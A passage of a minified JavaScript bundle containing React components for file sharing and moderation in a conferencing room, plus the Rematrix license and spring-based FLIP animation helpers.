file",values:{displayName:n}})),!l.active&&!l.files&&Tt("div",{className:s.fileInfo},void 0,Tt(Ge.a,{className:s.text},void 0,At.a.decode(i).dn),a?Tt(Re.a,{variant:"contained",component:"span",className:s.button,onClick:function(){t.handleDownload(i)}},void 0,Vt):Tt(Ge.a,{className:s.text},void 0,Ut)),l.timeout&&Tt(Ge.a,{className:s.text},void 0,Ht),l.active&&Tt("progress",{value:l.progress})))}}])&&_t(t.prototype,n),o&&_t(t,o),i}(o.a.PureComponent),Wt=Object(Ne.b)(Object(a.connect)((function(e,t){var n=t.magnetUri;return{file:e.files[n],canShareFiles:e.me.canShareFiles}}),null,null,{areStatesEqual:function(e,t){return t.files===e.files&&t.me.canShareFiles===e.me.canShareFiles}})(Object(s.a)((function(e){return{root:{display:"flex",alignItems:"center",width:"100%",padding:e.spacing(1),boxShadow:"0px 1px 5px 0px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 3px 1px -2px rgba(0, 0, 0, 0.12)","&:not(:last-child)":{marginBottom:e.spacing(1)}},avatar:{borderRadius:"50%",height:"2rem"},text:{margin:0,padding:e.spacing(1)},fileContent:{display:"flex",alignItems:"center"},fileInfo:{display:"flex",alignItems:"center",padding:e.spacing(1)},button:{marginRight:"auto"}}}))(zt)));function $t(e){return($t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function qt(e,t,n,r){Dt||(Dt="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Dt,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Yt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Gt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Gt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Gt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Kt(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Xt(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Jt(e,t){return(Jt=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Qt(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=en(e);if(t){var o=en(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Zt(this,n)}}function Zt(e,t){return!t||"object"!==$t(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function en(e){return(en=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var tn,nn=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Jt(e,t)}(i,e);var t,n,r,a=Qt(i);function i(){return Kt(this,i),a.apply(this,arguments)}return t=i,(n=[{key:"componentDidMount",value:function(){this.node.scrollTop=this.node.scrollHeight}},{key:"getSnapshotBeforeUpdate",value:function(){return this.node.scrollTop+this.node.offsetHeight===this.node.scrollHeight}},{key:"componentDidUpdate",value:function(e,t,n){n&&(this.node.scrollTop=this.node.scrollHeight)}},{key:"render",value:function(){var e=this,t=this.props,n=t.files,r=t.me,a=t.peers,i=t.intl,l=t.classes;return o.a.createElement("div",{className:l.root,ref:function(t){e.node=t}},Object.entries(n).map((function(e){var t,n,o=Yt(e,2),l=o[0],s=o[1];return r.id===s.peerId?(t=i.formatMessage({id:"room.me",defaultMessage:"Me"}),n=r.picture):a[s.peerId]?(t=a[s.peerId].displayName,n=a[s.peerId].picture):t=i.formatMessage({id:"label.unknown",defaultMessage:"Unknown"}),qt(Wt,{magnetUri:l,displayName:t,picture:n||Ze},l)})))}}])&&Xt(t.prototype,n),r&&Xt(t,r),i}(o.a.PureComponent),rn=Object(a.connect)((function(e){return{files:e.files,me:e.me,peers:e.peers}}),null,null,{areStatesEqual:function(e,t){return t.files===e.files&&t.me===e.me&&t.peers===e.peers}})(Object(s.a)((function(e){return{root:{height:"100%",display:"flex",flexDirection:"column",alignItems:"center",overflowY:"auto",padding:e.spacing(1)}}}))(Object(Pt.c)(nn)));function on(e,t,n,r){tn||(tn="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:tn,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var an,ln=on(w.a,{id:"room.moderatoractions",defaultMessage:"Moderator actions"}),sn=on(w.a,{id:"room.clearFileSharing",defaultMessage:"Clear files"});function cn(e,t,n,r){an||(an="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:an,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function un(e,t,n,r,o,a,i){try{var l=e[a](i),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var dn=cn(Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.MODERATE_FILES);return function(t){return{isFileSharingModerator:e(t),room:t.room}}}),null,null,{areStatesEqual:function(e,t){return t.room===e.room&&t.me===e.me&&t.peers===e.peers}})(Object(s.a)((function(e){return{root:{display:"flex",padding:e.spacing(1),boxShadow:"0 2px 5px 2px rgba(0, 0, 0, 0.2)",backgroundColor:"rgba(255, 255, 255, 1)"},listheader:{padding:e.spacing(1),fontWeight:"bolder"},actionButton:{marginLeft:"auto"}}}))((function(e){var t=Object(xe.a)(),n=e.roomClient,r=e.isFileSharingModerator,o=e.room,a=e.classes;return r?on("ul",{className:a.root},void 0,on("li",{className:a.listheader},void 0,ln),on(Re.a,{"aria-label":t.formatMessage({id:"room.clearFileSharing",defaultMessage:"Clear files"}),className:a.actionButton,variant:"contained",color:"secondary",disabled:o.clearFileSharingInProgress,onClick:function(){return n.clearFileSharing()}},void 0,sn)):null})))),{}),fn=cn(rn,{});Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.SHARE_FILE);return function(t){return{canShareFiles:t.me.canShareFiles,browser:t.me.browser,tabOpen:"files"===t.toolarea.currentToolTab,canShare:e(t)}}}),null,null,{areStatesEqual:function(e,t){return t.room===e.room&&t.me.browser===e.me.browser&&t.me.roles===e.me.roles&&t.me.canShareFiles===e.me.canShareFiles&&t.peers===e.peers&&t.toolarea.currentToolTab===e.toolarea.currentToolTab}})(Object(s.a)((function(e){return{root:{display:"flex",flexDirection:"column",width:"100%",height:"100%"},input:{display:"none"},button:{margin:e.spacing(1)},shareButtonsWrapper:{display:"flex"}}}))((function(e){var t=Object(xe.a)(),n=function(){var t,n=(t=regeneratorRuntime.mark((function t(n){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(!(n.target.files.length>0)){t.next=3;break}return t.next=3,e.roomClient.shareFiles(n.target.files);case 3:case"end":return t.stop()}}),t)})),function(){var e=this,n=arguments;return new Promise((function(r,o){var a=t.apply(e,n);function i(e){un(a,r,o,i,l,"next",e)}function l(e){un(a,r,o,i,l,"throw",e)}i(void 0)}))});return function(e){return n.apply(this,arguments)}}(),r=e.canShareFiles,o=e.browser,a=e.canShare,i=e.classes,l=r?t.formatMessage({id:"label.shareFile",defaultMessage:"Share file"}):t.formatMessage({id:"label.fileSharingUnsupported",defaultMessage:"File sharing not supported"}),s=r?t.formatMessage({id:"label.shareGalleryFile",defaultMessage:"Share image"}):t.formatMessage({id:"label.fileSharingUnsupported",defaultMessage:"File sharing not supported"});return cn(_e.a,{className:i.root},void 0,dn,cn("div",{className:i.shareButtonsWrapper},void 0,cn("input",{className:i.input,type:"file",disabled:!a,onChange:n,onClick:function(e){return e.target.value=null},id:"share-files-button"}),cn("input",{className:i.input,type:"file",disabled:!a,onChange:n,accept:"image/*",id:"share-files-gallery-button"}),cn("label",{htmlFor:"share-files-button"},void 0,cn(Re.a,{variant:"contained",component:"span",className:i.button,disabled:!r||!a},void 0,l)),"mobile"===o.platform&&r&&a&&cn("label",{htmlFor:"share-files-gallery-button"},void 0,cn(Re.a,{variant:"contained",component:"span",className:i.button,disabled:!r||!a},void 0,s))),fn)})))); /*! @license Rematrix v0.2.2 Copyright 2018 Fisssion LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ function pn(e){if(e.constructor!==Array)throw new TypeError("Expected array.");if(16===e.length)return e;if(6===e.length){var t=mn();return t[0]=e[0],t[1]=e[1],t[4]=e[2],t[5]=e[3],t[12]=e[4],t[13]=e[5],t}throw new RangeError("Expected array with either 6 or 16 values.")}function mn(){for(var e=[],t=0;t<16;t++)t%5==0?e.push(1):e.push(0);return e}function hn(e,t){for(var n=pn(e),r=pn(t),o=[],a=0;a<4;a++)for(var i=[n[a],n[a+4],n[a+8],n[a+12]],l=0;l<4;l++){var s=4*l,c=[r[s],r[s+1],r[s+2],r[s+3]],u=i[0]*c[0]+i[1]*c[1]+i[2]*c[2]+i[3]*c[3];o[a+s]=u}return o}var vn=function(e){return"number"==typeof e},gn=function(e){return"function"==typeof e},bn=function(e){return"[object Object]"===Object.prototype.toString.call(e)},yn=function(e){return Array.prototype.slice.apply(e)},wn=function(e){var t=e.reduce((function(e,t){return e[t]=(e[t]||0)+1,e}),{});return Object.keys(t).filter((function(e){return t[e]>1}))};function Sn(e){return[].slice.call(arguments,1).forEach((function(t){if(t)for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})),e}var On,Mn=function(e,t,n){return e+(t-e)*n},Cn={__proto__:null,isNumber:vn,isFunction:gn,isObject:bn,toArray:yn,getDuplicateValsAsStrings:wn,assign:Sn,tweenProp:Mn},kn="data-flip-id",Pn="data-inverse-flip-id",xn="data-flip-config",An="data-portal-key",En={noWobble:{stiffness:200,damping:26},gentle:{stiffness:120,damping:14},veryGentle:{stiffness:130,damping:17},wobbly:{stiffness:180,damping:12},stiff:{stiffness:260,damping:26}},Tn=function(e){return bn(e)?e:Object.keys(En).indexOf(e)>-1?En[e]:{}};"undefined"!=typeof window&&(On=window.requestAnimationFrame);var jn=On=On||function(e){window.setTimeout(e,1e3/60)},_n=Date.now(),Nn="object"==typeof performance&&"function"==typeof performance.now?function(){return performance.now()}:function(){return Date.now()-_n};function In(e,t){var n=e.indexOf(t);-1!==n&&e.splice(n,1)}var Rn=function(){function e(){}return e.prototype.run=function(){var e=this;jn((function(){e.springSystem.loop(Nn())}))},e}(),Ln=function(){this.position=0,this.velocity=0},Dn=0,Fn=function(){function e(e){this._id="s"+Dn++,this._springSystem=e,this.listeners=[],this._startValue=0,this._currentState=new Ln,this._displacementFromRestThreshold=.001,this._endValue=0,this._overshootClampingEnabled=!1,this._previousState=new Ln,this._restSpeedThreshold=.001,this._tempState=new Ln,this._timeAccumulator=0,this._wasAtRest=!0,this._cachedSpringConfig={}}var t=e.prototype;return t.getId=function(){return this._id},t.destroy=function(){this.listeners=[],this._springSystem.deregisterSpring(this)},t.setSpringConfig=function(e){return this._springConfig=e,this},t.getCurrentValue=function(){return this._currentState.position},t.getDisplacementDistanceForState=function(e){return Math.abs(this._endValue-e.position)},t.setEndValue=function(e){if(e===this._endValue)return this;if(this.prevEndValue=e,this._endValue===e&&this.isAtRest())return this;this._startValue=this.getCurrentValue(),this._endValue=e,this._springSystem.activateSpring(this.getId());for(var t=0,n=this.listeners.length;t<n;t++){var r=this.listeners[t].onSpringEndStateChange;r&&r(this)}return this},t.setVelocity=function(e){return e===this._currentState.velocity||(this._currentState.velocity=e,this._springSystem.activateSpring(this.getId())),this},t.setCurrentValue=function(e){this._startValue=e,this._currentState.position=e;for(var t=0,n=this.listeners.length;t<n;t++){var r=this.listeners[t];r.onSpringUpdate&&r.onSpringUpdate(this)}return this},t.setAtRest=function(){return this._endValue=this._currentState.position,this._tempState.position=this._currentState.position,this._currentState.velocity=0,this},t.setOvershootClampingEnabled=function(e){return this._overshootClampingEnabled=e,this},t.isOvershooting=function(){var e=this._startValue,t=this._endValue;return this._springConfig.tension>0&&(e<t&&this.getCurrentValue()>t||e>t&&this.getCurrentValue()<t)},t.advance=function(e,t){var n=this.isAtRest();if(!n||!this._wasAtRest){var r=t;t>.064&&(r=.064),this._timeAccumulator+=r;for(var o,a,i,l,s,c,u=this._springConfig.tension,d=this._springConfig.friction,f=this._currentState.position,p=this._currentState.velocity,m=this._tempState.position,h=this._tempState.velocity;this._timeAccumulator>=.001;)this._timeAccumulator-=.001,this._timeAccumulator<.001&&(this._previousState.position=f,this._previousState.velocity=p),a=u*(this._endValue-m)-d*p,l=u*(this._endValue-(m=f+.001*(o=p)*.5))-d*(h=p+.001*a*.5),c=u*(this._endValue-(m=f+.001*(i=h)*.5))-d*(h=p+.001*l*.5),m=f+.001*(s=h),f+=1/6*(o+2*(i+s)+(h=p+.001*c))*.001,p+=1/6*(a+2*(l+c)+(u*(this._endValue-m)-d*h))*.001;this._tempState.position=m,this._tempState.velocity=h,this._currentState.position=f,this._currentState.velocity=p,this._timeAccumulator>0&&this._interpolate(this._timeAccumulator/.001),(this.isAtRest()||this._overshootClampingEnabled&&this.isOvershooting())&&(this._springConfig.tension>0?(this._startValue=this._endValue,this._currentState.position=this._endValue):(this._endValue=this._currentState.position,this._startValue=this._endValue),this.setVelocity(0),n=!0);var v=!1;this._wasAtRest&&(this._wasAtRest=!1,v=!0);var g=!1;n&&(this._wasAtRest=!0,g=!0),this.notifyPositionUpdated(v,g)}},t.notifyPositionUpdated=function(e,t){var n=this;this.listeners.filter(Boolean).forEach((function(r){e&&r.onSpringActivate&&!n._onActivateCalled&&(r.onSpringActivate(n),n._onActivateCalled=!0),r.onSpringUpdate&&r.onSpringUpdate(n),t&&r.onSpringAtRest&&r.onSpringAtRest(n)}))},t.systemShouldAdvance=function(){return!this.isAtRest()||!this.wasAtRest()},t.wasAtRest=function(){return this._wasAtRest},t.isAtRest=function(){return Math.abs(this._currentState.velocity)<this._restSpeedThreshold&&(this.getDisplacementDistanceForState(this._currentState)<=this._displacementFromRestThreshold||0===this._springConfig.tension)},t._interpolate=function(e){this._currentState.position=this._currentState.position*e+this._previousState.position*(1-e),this._currentState.velocity=this._currentState.velocity*e+this._previousState.velocity*(1-e)},t.addListener=function(e){return this.listeners.push(e),this},t.addOneTimeListener=function(e){var t=this;return Object.keys(e).forEach((function(n){var r;e[n]=(r=e[n],function(){r.apply(void 0,[].slice.call(arguments)),t.removeListener(e)})})),this.listeners.push(e),this},t.removeListener=function(e){return In(this.listeners,e),this},e}(),Bn=function(){function e(e){this.looper=e||new Rn,this.looper.springSystem=this,this.listeners=[],this._activeSprings=[],this._idleSpringIndices=[],this._isIdle=!0,this._lastTimeMillis=-1,this._springRegistry={}}var t=e.prototype;return t.createSpring=function(e,t){return this.createSpringWithConfig({tension:e,friction:t})},t.createSpringWithConfig=function(e){var t=new Fn(this);return this.registerSpring(t),t.setSpringConfig(e),t},t.getIsIdle=function(){return this._isIdle},t.registerSpring=function(e){this._springRegistry[e.getId()]=e},t.deregisterSpring=function(e){In(this._activeSprings,e),delete this._springRegistry[e.getId()]},t.advance=function(e,t){for(var n=this;this._idleSpringIndices.length>0;)this._idleSpringIndices.pop();for(this._activeSprings.filter(Boolean).forEach((function(r){r.systemShouldAdvance()?r.advance(e/1e3,t/1e3):n._idleSpringIndices.push(n._activeSprings.indexOf(r))}));this._idleSpringIndices.length>0;){var r=this._idleSpringIndices.pop();r>=0&&this._activeSprings.splice(r,1)}},t.loop=function(e){var t;-1===this._lastTimeMillis&&(this._lastTimeMillis=e-1);var n=e-this._lastTimeMillis;this._lastTimeMillis=e;var r=0,o=this.listeners.length;for(r=0;r<o;r++)(t=this.listeners[r]).onBeforeIntegrate&&t.onBeforeIntegrate(this);for(this.advance(e,n),0===this._activeSprings.length&&(this._isIdle=!0,this._lastTimeMillis=-1),r=0;r<o;r++)(t=this.listeners[r]).onAfterIntegrate&&t.onAfterIntegrate(this);this._isIdle||this.looper.run()},t.activateSpring=function(e){var t=this._springRegistry[e];-1===this._activeSprings.indexOf(t)&&this._activeSprings.push(t),this.getIsIdle()&&(this._isIdle=!1,this.looper.run())},e}(),Vn=new Bn,Un=function(e){var t=e.springConfig,n=t.overshootClamping,r=e.getOnUpdateFunc,o=e.onAnimationEnd,a=e.onSpringActivate,i=Vn.createSpring(t.stiffness,t.damping);i.setOvershootClampingEnabled(!!n);var l={onSpringActivate:a,onSpringAtRest:function(){i.destroy(),o()},onSpringUpdate:r({spring:i,onAnimationEnd:o})};return i.addListener(l),i},Hn=function(e){var t=Un(e);return t.setEndValue(1),t},zn=function(e,t){if(void 0===t&&(t={}),e&&e.length){t.reverse&&e.reverse();var n,r="number"!=typeof(n=t.speed)?1.1:1+Math.min(Math.max(5*n,0),5),o=1/Math.max(Math.min(e.length,100),10),a=e.map((function(e,t){var n=e.getOnUpdateFunc;return e.getOnUpdateFunc=function(e){var i=n(e);return function(e){var n=e.getCurrentValue();(n=n<.01?0:n>.99?1:n)>=o&&a[t+1]&&a[t+1](Math.max(Math.min(n*r,1),0)),i(e)}},e})).map((function(e){var t=Un(e);if(t)return t.setEndValue.bind(t)})).filter(Boolean);a[0]&&a[0](1)}},Wn=function(e){return[0,1,4,5,12,13].map((function(t){return e[t]}))},$n=function(e){return e.top<window.innerHeight&&e.bottom>0&&e.left<window.innerWidth&&e.right>0};function qn(e){return JSON.parse(e.dataset.flipConfig||"{}")}var Yn=function(e,t){var n;return Sn(e,((n={})[t[0]]=t[1],n))},Gn=function(e,t){return yn(t?document.querySelectorAll('[data-portal-key="'+t+'"]'):e.querySelectorAll("[data-flip-id]"))},Kn=function(e){return e.map((function(e){return[e,e.getBoundingClientRect()]}))},Xn=function(e){var t,n,r,o,a=e.cachedOrderedFlipIds,i=void 0===a?[]:a,l=e.inProgressAnimations,s=void 0===l?{}:l,c=e.flippedElementPositionsBeforeUpdate,u=void 0===c?{}:c,d=e.flipCallbacks,f=void 0===d?{}:d,p=e.containerEl,m=e.applyTransformOrigin,h=e.spring,v=e.debug,g=e.portalKey,b=e.staggerConfig,y=void 0===b?{}:b,w=e.decisionData,S=void 0===w?{}:w,O=e.handleEnterUpdateDelete,M=e.onComplete,C=e.onStart,k=Kn(Gn((t={element:p,portalKey:g}).element,t.portalKey)).map((function(e){var t=e[0],n=e[1],r=window.getComputedStyle(t);return[t.dataset.flipId,{element:t,rect:n,opacity:parseFloat(r.opacity),transform:r.transform}]})).reduce(Yn,{}),P=(r=(n={containerEl:p,portalKey:g}).containerEl,(o=n.portalKey)?function(e){return function(t){return yn(document.querySelectorAll('[data-portal-key="'+e+'"]'+t))}}(o):r?function(e){var t=Math.random().toFixed(5);return e.dataset.flipperId=t,function(n){return yn(e.querySelectorAll('[data-flipper-id="'+t+'"] '+n))}}(r):function(){return[]}),x=function(e){return function(t){return e('[data-flip-id="'+t+'"]')[0]}}(P),A=function(e){return u[e]&&k[e]},E=Object.keys(u).concat(Object.keys(k)).filter((function(e){return!A(e)})),T={flipCallbacks:f,getElement:x,flippedElementPositionsBeforeUpdate:u,flippedElementPositionsAfterUpdate:k,inProgressAnimations:s,decisionData:S},j=function(e){var t,n=e.unflippedIds,r=e.flipCallbacks,o=e.getElement,a=e.flippedElementPositionsBeforeUpdate,i=e.flippedElementPositionsAfterUpdate,l=e.inProgressAnimations,s=e.decisionData,c=n.filter((function(e){return i[e]})).filter((function(e){return r[e]&&r[e].onAppear})),u=n.filter((function(e){return a[e]&&r[e]&&r[e].onExit})),d=new Promise((function(e){t=e})),f=[],p=0,m=u.map((function(e,n){var o=a[e].domDataForExitAnimations,i=o.element,c=o.parent,u=o.childPosition,d=u.top,m=u.left,h=u.width,v=u.height;"static"===getComputedStyle(c).position&&(c.style.position="relative"),i.style.transform="matrix(1, 0, 0, 1, 0, 0)",i.style.position="absolute",i.style.top=d+"px",i.style.left=m+"px",i.style.height=v+"px",i.style.width=h+"px";var g=f.filter((function(e){return e[0]===c}))[0];g||(g=[c,document.createDocumentFragment()],f.push(g)),g[1].appendChild(i),p+=1;var b=function(){try{c.removeChild(i)}catch(e){}finally{0==(p-=1)&&t()}};return l[e]={stop:b},function(){return r[e].onExit(i,n,b,s)}}));return f.forEach((function(e){e[0].appendChild(e[1])})),m.length||t(),{hideEnteringElements:function(){c.forEach((function(e){var t=o(e);t&&(t.style.opacity="0")}))},animateEnteringElements:function(){c.forEach((function(e,t){var n=o(e);n&&r[e].onAppear(n,t,s)}))},animateExitingElements:function(){return m.forEach((function(e){return e()})),d}}}(Sn({},T,{unflippedIds:E})),_=j.hideEnteringElements,N=j.animateEnteringElements,I=j.animateExitingElements,R=Sn({},T,{containerEl:p,flippedIds:i.filter(A),applyTransformOrigin:m,spring:h,debug:v,staggerConfig:y,scopedSelector:P,onComplete:M});C&&C(p,S);var L=function(e){var t,n=e.flippedIds,r=e.flipCallbacks,o=e.inProgressAnimations,a=e.flippedElementPositionsBeforeUpdate,i=e.flippedElementPositionsAfterUpdate,l=e.applyTransformOrigin,s=e.spring,c=e.getElement,u=e.debug,d=e.staggerConfig,f=void 0===d?{}:d,p=e.decisionData,m=void 0===p?{}:p,h=e.onComplete,v=e.containerEl,g=new Promise((function(e){t=e}));if(h&&g.then((function(){return h(v,m)})),!n.length)return function(){return t([]),g};var b=[],y=c(n[0]),w=y?y.ownerDocument.querySelector("body"):document.querySelector("body"),S=(wn(n),n.map((function(e){var n=a[e].rect,c=i[e].rect,u=a[e].opacity,d=i[e].opacity,f=c.width<1||c.height<1,p=i[e].element;if(!$n(n)&&!$n(c))return!1;if(!p)return!1;var h,v,g,y=qn(p),O=(g=(v=void 0===(h={flipperSpring:s,flippedSpring:y.spring})?{}:h).flippedSpring,Sn({},En.noWobble,Tn(v.flipperSpring),Tn(g))),M=!0===y.stagger?"default":y.stagger,C={element:p,id:e,stagger:M,springConfig:O};if(r[e]&&r[e].shouldFlip&&!r[e].shouldFlip(m.previous,m.current))return!1;var k=Math.abs(n.left-c.left)+Math.abs(n.top-c.top),P=Math.abs(n.width-c.width)+Math.abs(n.height-c.height),x=Math.abs(d-u);if(0===n.height&&0===c.height||0===n.width&&0===c.width||k<.5&&P<.5&&x<.01)return!1;var A,E,T=function(e){if("string"==typeof e){var t=e.match(/matrix(3d)?\(([^)]+)\)/);if(t)return pn(t[2].split(", ").map(parseFloat))}return mn()}(i[e].transform),j={matrix:T},_={matrix:[]},N=[T];y.translate&&(N.push((A=n.left-c.left,(E=mn())[12]=A,E)),N.push(function(e){var t=mn();return t[13]=e,t}(n.top-c.top))),y.scale&&(N.push(function(e){var t=mn();return t[0]=e,t}(Math.max(n.width,1)/Math.max(c.width,1))),N.push(function(e){var t=mn();return t[5]=e,t}(Math.max(n.height,1)/Math.max(c.height,1)))),y.opacity&&(_.opacity=u,j.opacity=d);var I=[];if(!r[e]||!r[e].shouldInvert||r[e].shouldInvert(m.previous,m.current)){var R=function(e,t){return yn(e.querySelectorAll('[data-inverse-flip-id="'+t+'"]'))}(p,e);I=R.map((function(e){return[e,qn(e)]}))}_.matrix=Wn(N.reduce(hn)),j.matrix=Wn(j.matrix);var L,D=function(e){var t=e.element,n=e.invertedChildren,r=e.body;return function(e){var o=e.matrix,a=e.opacity,i=e.forceMinVals;if(vn(a)&&(t.style.opacity=a+""),i&&(t.style.minHeight="1px",t.style.minWidth="1px"),o){var l=function(e){return"matrix("+e.join(", ")+")"}(o);t.style.transform=l,n&&function(e){var t=e.matrix,n=e.body;e.invertedChildren.forEach((function(e){var r=e[0],o=e[1];if(n.contains(r)){var a=t[0],i=t[3],l=t[5],s={translateX:0,translateY:0,scaleX:1,scaleY:1},c="";o.translate&&(s.translateX=-t[4]/a,s.translateY=-l/i,c+="translate("+s.translateX+"px, "+s.translateY+"px)"),o.scale&&(s.scaleX=1/a,s.scaleY=1/i,c+=" scale("+s.scaleX+", "+s.scaleY+")"),r.style.transform=c}}))}({invertedChildren:n,matrix:o,body:r})}}}({element:p,invertedChildren:I,body:w});if(r[e]&&r[e].onComplete){var F=r[e].onComplete;L=function(){return F(p,m)}}var B=vn(_.opacity)&&vn(j.opacity)&&_.opacity!==j.opacity,V=!1;return Sn({},C,{stagger:M,springConfig:O,getOnUpdateFunc:function(t){var n=t.spring,a=t.onAnimationEnd;return o[e]={destroy:n.destroy.bind(n),onAnimationEnd:a},function(t){r[e]&&r[e].onSpringUpdate&&r[e].onSpringUpdate(t.getCurrentValue()),V||(V=!0,r[e]&&r[e].onStart&&r[e].onStart(p,m));var n=t.getCurrentValue();if(w.contains(p)){var o={matrix:[]};o.matrix=_.matrix.map((function(e,t){return Mn(e,j.matrix[t],n)})),B&&(o.opacity=Mn(_.opacity,j.opacity,n)),D(o)}else t.destroy()}},initializeFlip:function(){D({matrix:_.matrix,opacity:B?_.opacity:void 0,forceMinVals:f}),r[e]&&r[e].onStartImmediate&&r[e].onStartImmediate(p,m),y.transformOrigin?p.style.transformOrigin=y.transformOrigin:l&&(p.style.transformOrigin="0 0"),I.forEach((function(e){var t=e[0],n=e[1];n.transformOrigin?t.style.transformOrigin=n.transformOrigin:l&&(t.style.transformOrigin="0 0")}))},onAnimationEnd:function(n){delete o[e],gn(L)&&L(),p.style.transform="",I.forEach((function(e){e[0].style.transform=""})),f&&p&&(p.style.minHeight="",p.style.minWidth=""),n||(b.push(e),b.length>=S.length&&t(b))},delayUntil:y.delayUntil})})).filter(Boolean));if(S.forEach((function(e){return(0,e.initializeFlip)()})),u)return function(){};var O=S.filter((function(e){return e.delayUntil&&(t=e.delayUntil,S.filter((function(e){return e.id===t})).length);var t})),M={},C={},k={};O.forEach((function(e){e.stagger?(k[e.stagger]=!0,C[e.delayUntil]?C[e.delayUntil].push(e.stagger):C[e.delayUntil]=[e.stagger]):M[e.delayUntil]?M[e.delayUntil].push(e):M[e.delayUntil]=[e]}));var P=S.filter((function(e){return e.stagger})).reduce((function(e,t){return e[t.stagger]?e[t.stagger].push(t):e[t.stagger]=[t],e}),{}),x=S.filter((function(e){return-1===O.indexOf(e)}));return x.forEach((function(e){e.onSpringActivate=function(){M[e.id]&&M[e.id].forEach(Hn),C[e.id]&&Object.keys(C[e.id].reduce((function(e,t){var n;return Sn(e,((n={})[t]=!0,n))}),{})).forEach((function(e){zn(P[e],f[e])}))}})),function(){return S.length||t([]),x.filter((function(e){return!e.stagger})).forEach(Hn),Object.keys(P).forEach((function(e){k[e]||zn(P[e],f[e])})),g}}(R);O?O({hideEnteringElements:_,animateEnteringElements:N,animateExitingElements:I,animateFlippedElements:L}):(_(),I().then(N),L())},Jn=function(e){var t=e.element,n=e.flipCallbacks,r=void 0===n?{}:n,o=e.inProgressAnimations,a=void 0===o?{}:o,i=Gn(t,e.portalKey),l=yn(t.querySelectorAll("[data-inverse-flip-id]")),s={},c=[],u={};i.filter((function(e){return 